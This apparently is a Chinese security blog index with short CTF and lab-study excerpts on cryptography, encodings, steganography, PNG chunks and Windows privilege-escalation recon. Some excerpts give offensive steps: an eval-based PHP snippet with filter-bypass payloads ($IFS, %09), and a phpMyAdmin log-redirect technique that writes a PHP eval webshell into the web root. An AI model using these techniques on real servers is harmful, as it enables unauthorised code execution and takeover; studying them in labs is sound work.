第一讲 密码学概述
第一讲 密码学概述密码技术的发展古典密码时期:从古代到19世纪末。
近代密码时期20世纪初到20世纪50年代
手工密码,转轮密码机。
现代密码时期1949年香农提出奠基性论文:《保密系统的通信理论》
首次将信息论引入密码技术的研究,利用统计学观点,对信源、密码源、密文进行数学描述和定量分析,引入不确定性、多余度、唯一解距离等安全性测度概念和计算方法。把密码学推向了科学的轨道,使密码学成为了一门真正的科学。
迪菲,赫尔曼:《密码学新方向》
首次提出公钥密码体制的概念和设计思想,开辟了公开密钥密码学的新领域。
密码学的主要任务
加密——密码编码
解密——密码分析
密码学要保障的几个性质
机密性
数据完整性
鉴别
抗抵赖性
密码系统的安全性一个密码系统的安全性主要与两个方面的因素有关。一个是所使用的密码算法本身的安全强度。另一个方面就是密码算法之外的不安全因素(管理密码系统的人之类的)。
评估密码系统安全性的三种方法:
无条件安全性:即使拥有无限的计算资源也无法破译密码
可证明安全性:密码系统的安全性依靠某个难以解决的数学难题(大整数因子分解、计算离散对数等)
计算安全性:又称为实际安全 ...
linux自动检查脚本
linux自动检查脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199 ...
绕过正则
绕过正则空格空格的url编码是%20
在php里边可以用tab的url编码绕过(%09)
例1234567if(preg_match("/ /",$_GET['str'])){ echo "no";}else { eval($_GET['str']);}
此时传空格必会输出no
改为传tab即可绕过
?str=echo%09”yes”;
此外,还有一堆东西可以替代空格
123456789<<>${IFS},$IFS,%20 ## 空格%09 ## tab$IFS$9$IFS$1
绕过命令执行函数限制常用的命令执行函数有:
1234567system()passthru()exec()shell_exec()popen()proc_open()
使用未被过滤的即可
字符转义绕过仅适用于PHP>=7
以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如”\400” == “\000”)以十六 ...
编码、进制、加密
密码存储或加密特征MD5 SHA1 NTLM AES DES RC4
MD5MD5是一种哈希算法,不可逆。但是可以通过爆破、碰撞得到原来的明文。
MD5的值有两种
32位
16位
由数字0-9,字母a-z组成。
像这样:
12密文:a8db1d82db78ed452ba0882fb9554fc原文:ctf
好用的工具:
https://www.cmd5.com/
SHA1值的特征与md5差不多,但是位数是 40 位
NTLMNTLM是windows的哈希算法,标准通讯安全协议
AES、DES、RC4对称加密,密文特征与base64类似
数据传输编码特征BASE64 URL HEX ASCII
BASE64BASE64值由数字、大小写字母组成,大小写敏感,结尾通常有符号 =
URL编码URL编码有数字、大小写字母组成,大小写敏感,通常以&数字字母间隔
HEX编码HEX是计算机数据的有一种表现方法,将数据进行十六进制转换,由数字、字母组成。
ASCIIASCII ,很熟悉
数字编码应用场景:参数传递,后期waf绕过干扰,视频地址还原JS前端代码加密js颜文字 jother j ...
phpmyadmin 日志getshell
phpmyadmin 日志getshell前提:拥有开启日志或修改日志的权限查看日志是否开启1show variables like ‘general%’;
开启日志1set global general_log = on;
修改日志的路径到一个外部可访问的路径1set global general_log_file = ' C:/phpStudy/WWW/rizhi.php';
利用phpmyadmin日志的漏洞,写入一句话木马1select '<?php eval($_POST[1]); ?>';
此时木马已经被记录在日志里了
靶机视角:
利用远控工具链接一句话木马(蚁剑)
bilLu
bilLu端口扫描1nmap -sT 192.168.31.180 -p- --min-rate=100000 -oN nmapscan/ports
12345678910# Nmap 7.93 scan initiated Mon Nov 27 12:26:58 2023 as: nmap -sT -p- --min-rate=10000 -oN nmapscan/ports 192.168.31.180Nmap scan report for indishell (192.168.31.180)Host is up (0.00034s latency).Not shown: 65533 closed tcp ports (conn-refused)PORT STATE SERVICE22/tcp open ssh80/tcp open httpMAC Address: 00:0C:29:1F:3E:D7 (VMware)# Nmap done at Mon Nov 27 12:27:01 2023 -- 1 IP address (1 host up) scanned ...
jpg图片隐藏压缩包
jpg图片隐藏压缩包辨别在图片里隐藏一个压缩包是一种常用的隐写术
可以使用010Editor打开图片,查看文件头部和尾部,查看是否有其他文件的文件头标识。
以“bugku 啊哒”这道题为例,使用 010Editor 打开图片后,在结尾看到了压缩包的文件头标识
105 4B 03 04
分离文件并提取可以使用 kali 下的binwalk分离出文件。
1binwalk -e ada.jpg --run-as=root
拓展 常见的文件头和结尾
以下是一些常见文件的文件头(File Signature)和文件尾标识(File Footer Signature)的示例:
JPEG 图像 (.jpg, .jpeg):
文件头:FF D8 FF E0
文件尾标识:FF D9
PNG 图像 (.png):
文件头:89 50 4E 47 0D 0A 1A 0A
文件尾标识:IEND(以ASCII形式存在)
ZIP 文件 (.zip):
文件头:50 4B 03 04
文件尾标识:50 4B 05 06(结束记录的标识)
PDF 文档 (.pdf):
文件头:25 50 4 ...
png文件CRC校验
png文件的CRC校验png图片的CRC校验png的格式png文件中分为很多个chunk(数据的基本组成单元)
以下是一些常见的chunk
IHDR(Image Header):包含图像的基本信息,如宽度、高度、颜色深度等。
IDAT(Image Data):包含图像的实际像素数据。由于 PNG 使用 DEFLATE 压缩算法,实际的图像数据被包含在一个或多个 IDAT 块中。
PLTE(Palette):如果图像使用调色板,此块包含调色板中的颜色信息。
tEXt(Textual Data):包含关于图像的文本信息,如作者、标题等。
tIME(Time Stamp): 包含图像的最后修改时间。
每个chunk的格式例子以一个png文件的chunk[0]为例(蓝色部分):
前四个字节 00 00 00 0D 代表这个chunk的数据块的长度是13(0D十进制表示)。
随后的 49 48 44 52 是“IHDR”的ascii码表示(见图右),是固定的格式。
紧跟着的就是数据块 00 00 01 F4 00 00 01 A4 08 06 00 00 00
前四个字节代表图片的 ...
windows提权
windows提权参考原文链接:https://zhuanlan.zhihu.com/p/394060852
信息收集常规信息收集12345678910systeminfo #查询系统信息hostname #主机名net user #查看用户信息netstat -and|find "3389" # 查看服务pid号wmic os get caption #查看系统名wmic qfe get Description,HotFixID,InstalledOn134 #查看补丁信息wmic product get name,version #查看当前安装程序wmic service list brief #查询本机进程net share #查看本机共享列表netsh firewall show config #查看防火墙配置
常见的杀软如下
360sd.exe 360杀毒
360tray.exe 360实时防护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAf ...
widows命令行开启管理员权限
开启禁用的管理员账号1net user administrator /active:yes
(可以输入 net user /? 来查看命令的使用方法)
使用管理员权限运行程序1runas /user:administrator cmd #这里跟的是命令